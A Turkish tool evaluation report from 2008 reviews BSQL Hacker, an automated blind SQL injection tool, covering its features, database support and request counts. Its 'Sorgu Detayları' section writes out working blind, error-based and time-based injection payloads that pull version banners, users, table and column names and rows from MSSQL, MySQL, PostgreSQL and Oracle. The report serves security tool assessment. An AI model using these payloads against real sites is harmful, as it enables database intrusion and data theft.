Araç - Bilgi

Lisans

 

    GPL

 

Versiyon

 

     0.85 ( Still Beta)

 

Yazar && İletişim Bilgileri

 

    Ferruh Mavituna, ferruh AT mavituna.com

 

Dil

 

    VB.NET

 

Önkoşullar

 

   .NET Framework 3.5 (.NET 2.0 ile de çalışıyor olabilir)

     

URL

 

    http://ferruh.mavituna.com/opensource/BSQLHacker_v09_Source.zip

 

Test Ortamı

 

    win2k3 sp1 vmware image with Python 2.5

    MSSQL 2005 EE, Oracle 10g EE, DB2 EC v 9.5, PostGreSQL 8.2, MySQL Community 5.0.45

     

Kurulum Püf Noktaları (Hatalar/Çözümler/Öneriler)

 

    Programın beta olması dolayısıyla bazı hatalar mevcut.

Rapor Hakkında

Rapor İsmi

 

      BSQL Hacker Otomatize SQL Enjektörü Analizi   

 

Rapor Yazarı

 

     Mesut Timur, mesut at h-labs dot org, www.h-labs.org

 

Rapor Tarihi

 

     28 Şubat 2008

Kullanım

Komut Satırı/Grafiksel Arayüz

 

    İkisi de mevcut.

 

Başlat/Durdur/Devam Et Özellikleri

    

    Başlat ve Durdur opsiyonları var.


Dokümantasyon

 
    Programla birlikte, nasıl kullanılacağı ve sömürme sürecini anlatan güzel pdf'ler geliyor.

DB Döküm Yetenekleri

Veritabanı İsimleri

 

     Evet

 

Tablo İsimleri

 

     Evet

 

Sutün İsimleri

 

     Evet

 

Tablo Satırları

 

     Evet

Performans

Temel Sorgu

   

    BSQL Hacker, verilen enjekte edilecek SQL sorgusunu kullanarak doğru ve yanlış sayfaları tespit etmeye çalışır. Tespit edebilirse, enjeksiyon test edilmiş demektir.

AND ISNULL(ASCII(SUBSTRING(CAST((SELECT users from test)AS varchar(8000)),1,1)),0)>0--
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT users from test)AS varchar(8000)),1,1)),0)<255--
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT users from test)AS varchar(8000)),1,1)),0)>255--
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT users from test)AS varchar(8000)),1,1)),0)=1

 

Çalıştırılan Toplam Sorgu Sayısı

    

     DBMS Banner Almak


            Kör


                 Mssql : 1632
                 PostgreSQL : 771

                 MySQL : 186
                 Oracle : 544


            Derin - Kör

          
                 Mssql : 108(sadece ilk 59 karakter)

                

    Kullanıcı İsmi Almak

    

           Kör

                    

                  Mssql: 87

                  PostgreSQL : 72
                  MySQL : 82

                  Oracle : 33

          
            Derin - Kör

          
                 Mssql : 18

Özellikler         

Kimlik Doğrulama Tipleri

 

     Cookie

 

         Evet

 

     Basit Kimlik Doğrulama

 

         Evet

 

     Özet Kimlik Doğrulama

 

         Evet

 

     NTLM

 

         Evet

 

     Sertifika

 

         Hayır

 

DBMS Desteği

 

     Tüm DBMS'leri desteklemektedir ; aşağıda kalın punto ile yazılmış olan DBMS'ler için çalıştığı test edilmiştir..

     

    MSSQL
    MySQL
    PostgreSQL

    ORACLE

     

Gerçeklenen Enjeksiyon Tipleri

 

    Kör

 

        Doğru/Yanlış

 

             Evet

 

        Zaman Tabanlı

 

             Evet , zaman Detection>Time Based tabından ayarlanabilir.

       

        Deep Blind Based


            Evet, ama bu atak türü için programla beraber MSSQL harici modül gelmiyor.

 

    Hata Tabanlı

 

            Evet , hata tampon boyutu Detection > Error Based tabından ayarlanabilir..

    

    Union     

 

        Yok

 

    Tek Kayıt Union

 

        Yok

 

    Bant Dışı Kanal

 

        Yok

     

Anonimlik

 

    User-Agent


            Programda User-Agent'i manipüle etmek gibi bir opsiyon olmasa da eklenebilecek spesifik HTTP Header'lar ile bu bilgi alanı değiştirilebilir.

   

    Referrer

 

            Programda Referer'i manipüle etmek gibi bir opsiyon olmasa da eklenebilecek spesifik HTTP Header'lar ile bu bilgi alanı değiştirilebilir.

 

    Proxy

 

              Evet; Settings > Proxy üzerinden aktif hale getirilebilir.

 

Veritabanı Döküm Granüleritesi

 

     İndirmek istediğiniz veri tabanları, tabloları ya da sütunları seçemiyorsunuz fakat sayılarını belirtebilirsiniz.(tablo/sütun/kayıt)

 

Diğer

 

     302 Yönlendirme Yönetimi

 

         Evet

 

     Atlatma (Evasion) Özellikleri

 

         Yok

 

     Özel Yapım SQL Sorgu Desteği

 

         Evet, spesifik betiklere ya da zayıflıklara özel SQL atak sorguları yazabilirsiniz. Hatta programın içerisinde Magic Variables sayesinde bu iş  çok daha verimli hale getirilebilir.

 

     Paralel İstekler

 

         Evet. Program arayüzünden paralel çalışacak thread sayısı ayarlanabilir.

     

Enjeksiyon Noktaları

 

     GET

         

         Evet

 

     POST

 

         Evet

 

     COOKIE

 

         Evet

 

     HTTP Başlıkları

     

         Evet

 

Otomatik Yazılım Yenileme

 

         Evet (test edilemedi)

Çıktı/Kayıt Tutma

İstek/Cevap Kayıtları

         

     Sol tarafta bir "Request History" bölümü var ve buradan yapılmış olan HTTP istekleri, cevapları, HTTP paket detaylarını görebilirsiniz.

 

Programa Özel Kayıt Tutma

 

     Yok

SQLi Açıklık Tarama Desteği

Basit SQL Enjeksiyonu Testi (Tek URL ve Parametreler)

 

    Evet

 

Basit SQL Enjeksiyonu Tarama (Crawling Yolu İle)

 

    Yok

Sorgu Detayları

İz/Arama/Hata/Kör SQL Enjeksiyonu Tabanlı

   

    DBMS Banner Alma           

       

          MSSQL Server 2005

    AND ISNULL(ASCII(SUBSTRING(CAST((SELECT @@version)AS varchar(10)),1,1)),0) {OPERATION}{CHAR}

         PostgreSQL

    AND COALESCE(ASCII(SUBSTR(VERSION(),{POSITION},1)),0) {OPERATION}{CHAR}

        MySQL

    AND 1=(SELECT IF((IFNULL(ASCII(SUBSTRING((SELECT @@version),{POSITION},1)),0){OPERATION}{CHAR}),1,2))/*

         ORACLE

    AND NVL(ASCII(SUBSTR((select banner from v$version where banner like 'Oracle%'),{POSITION},1)),0){OPERATION}{CHAR}--

  

    Kullanıcı İsmi Alma

 

         MSSQL Server 2005


    AND ISNULL(ASCII(SUBSTRING(CAST((SELECT user)AS varchar(10)),1,1),0)>search_value--

         PostgreSQL

    AND COALESCE(ASCII(SUBSTR(CURRENT_USER,{POSITION},1)),0) {OPERATION}{CHAR}

 

         MySQL

AND 1=(SELECT IF((IFNULL(ASCII(SUBSTRING((SELECT CURRENT_USER),{POSITION},1)),0){OPERATION}{CHAR}),1,2))/*

          ORACLE

AND NVL(ASCII(SUBSTR((SELECT user FROM dual),{POSITION},1)),0){OPERATION}{CHAR}--

    Veritabanı İsimlerini Alma

       
        MSSQL Server 2005

    AND ISNULL(ASCII(SUBSTRING(CAST((SELECT db_name(0))AS varchar(10)),1,1)),0)>search_value--

 

    Tablo İsimlerini Alma

       

        MSSQL Server 2005

ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 Lower([name]) FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 Lower([name]) FROM sysObjects WHERE xtYpe=0x55))AS varchar(10)),1,1)),0)>search_value--

        ORACLE   

AND NVL(ASCII(SUBSTR((SELECT table_name FROM (SELECT ROWNUM R, table_name FROM all_tables WHERE TABLESPACE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))) WHERE R=1),{POSITION},1)),0){OPERATION}{CHAR}--

 (CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))) : 'USERS'


    Sutün İsimlerini Alma

   
     MSSQL Server 2005

ISNULL(ASCII(SUBSTRING(CAST((SELECT TOP 1 name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name=char(0x4F)+char(0x72)+char(0x64)+char(0x65)+char(0x72)+char(0x73)) AND name NOT IN(SELECT TOP 13 name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name=char(0x4F)+char(0x72)+char(0x64)+char(0x65)+char(0x72)+char(0x73))))AS varchar(10)),1,1)),0)>search_value--

Name = Table Name = char(0x4F)+char(0x72)+char(0x64)+char(0x65)+char(0x72)+char(0x73) -- > 'Orders'

         ORACLE

AND NVL(ASCII(SUBSTR((SELECT column_name FROM (SELECT ROWNUM R, column_name FROM all_tab_columns WHERE    table_name=(CHR(65)||CHR(67)||CHR(84)||CHR(79)||CHR(82))) WHERE R=1),{POSITION},1)),0){OPERATION}{CHAR}--

(CHR(65)||CHR(67)||CHR(84)||CHR(79)||CHR(82))) : 'ACTOR'

    Satırları Alma
       
        MSSQL Server 2005
AND ISNULL(ASCII(SUBSTRING(CAST((Select P.last_name from (SELECT (SELECT COUNT(T.actor_id) FROM [actor] T WHERE T.actor_id<=O.actor_id) AS x,[last_name] from [actor] O) as P where P.x=1)AS varchar(8000)),{POSITION},1)),0){OPERATION}{CHAR}-  
       
        ORACLE
AND NVL(ASCII(SUBSTR((SELECT LAST_NAME FROM (SELECT ROWNUM R, LAST_NAME FROM ACTOR ) WHERE R=3),{POSITION},1)),0){OPERATION}{CHAR}--
Derin Kör

   

    DBMS Banner Alma    
       
        MSSQL Server 2005     
DECLARE @x as int; DECLARE @w as char(6);SET @x=ASCII(SUBSTRING(master.dbo.fn_varbintohexstr(CAST((SELECT @@version) as varbinary(8000))),{POSITION}+2,1));IF @x>97 SET @x=@x-87 ELSE SET @x=@x-48;SET @w=CHAR(48)+CHAR(58)+CHAR(48)+CHAR(58)+CAST(@x*{SECONDS} as char);WAITFOR DELAY @w 

    Kullanıcı İsmi Alma 
       
        MSSQL Server 2005    

DECLARE @x as int; DECLARE @w as char(6);SET @x=ASCII(SUBSTRING(master.dbo.fn_varbintohexstr(CAST((SELECT USER) as varbinary(8000))),{POSITION}+2,1));IF @x>97 SET @x=@x-87 ELSE SET @x=@x-48;SET @w=CHAR(48)+CHAR(58)+CHAR(48)+CHAR(58)+CAST(@x*{SECONDS} as char);WAITFOR DELAY @w 

Algoritma/Analiz

    Hata Tabanlı  &&  Klasik Kör SQL Enjeksiyonu

BSQL Hacker, verilen karakter listesi aralığında "binary search" algoritmasi ile arama yapar. Programın ilk kurulumunda gelen karakter seti :

 !"#$'()*+,-./0123456789;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]_abcdefghijklmnopqrstuvwxyz{|}

olduğu için, 32 ile 126 arası arama yapar. Bu da karakter başına :
O log(n)=> log(126-32)  =   log(94) = ~ 7
adımda ulaşılır, ama bazı adımlarda 1 karşılaştırma, bazı adımlarda 2 karşılaştırma gerekir(karşılaştırılan sayıları bir ağaçta ifade edersek, sol tarafa giderken iki defa karşılaştırma yapılır). Bundan dolayı kimi zaman bir karakter 12 istekte belirlenirken kimi zaman 4 istekte belirlenebilir. 32-126 arası tüm karakterleri arayıp, toplam istek sayısını,karakter sayısına bölersek , bir karakter için ortalama yapılması gereken isteği buluruz.
    for(int i=32;i<126;i++)
    {
        sum+=BinarySearch(array,i);
    }
    printf("%d",sum/(126-32)));
gibi bir kodla, bu ortalama sayıyı bulabiliriz. Bu kodu çalıştırdık ve çıkan sonuç :
7
   
    Derin Kör SQL Enjeksiyonu

Zaman tabanlı bir ataktır, bekleme süresinden karakter tespit edilmeye çalışılır. Her karakter yalnızca 2 istekte okunur. Yoğun ya da yavaş cevap veren web  sunucularda pek stabil şekilde çalışmayabilir. Ayrıca veritabanı katmanı süre limitlerine takılabilir.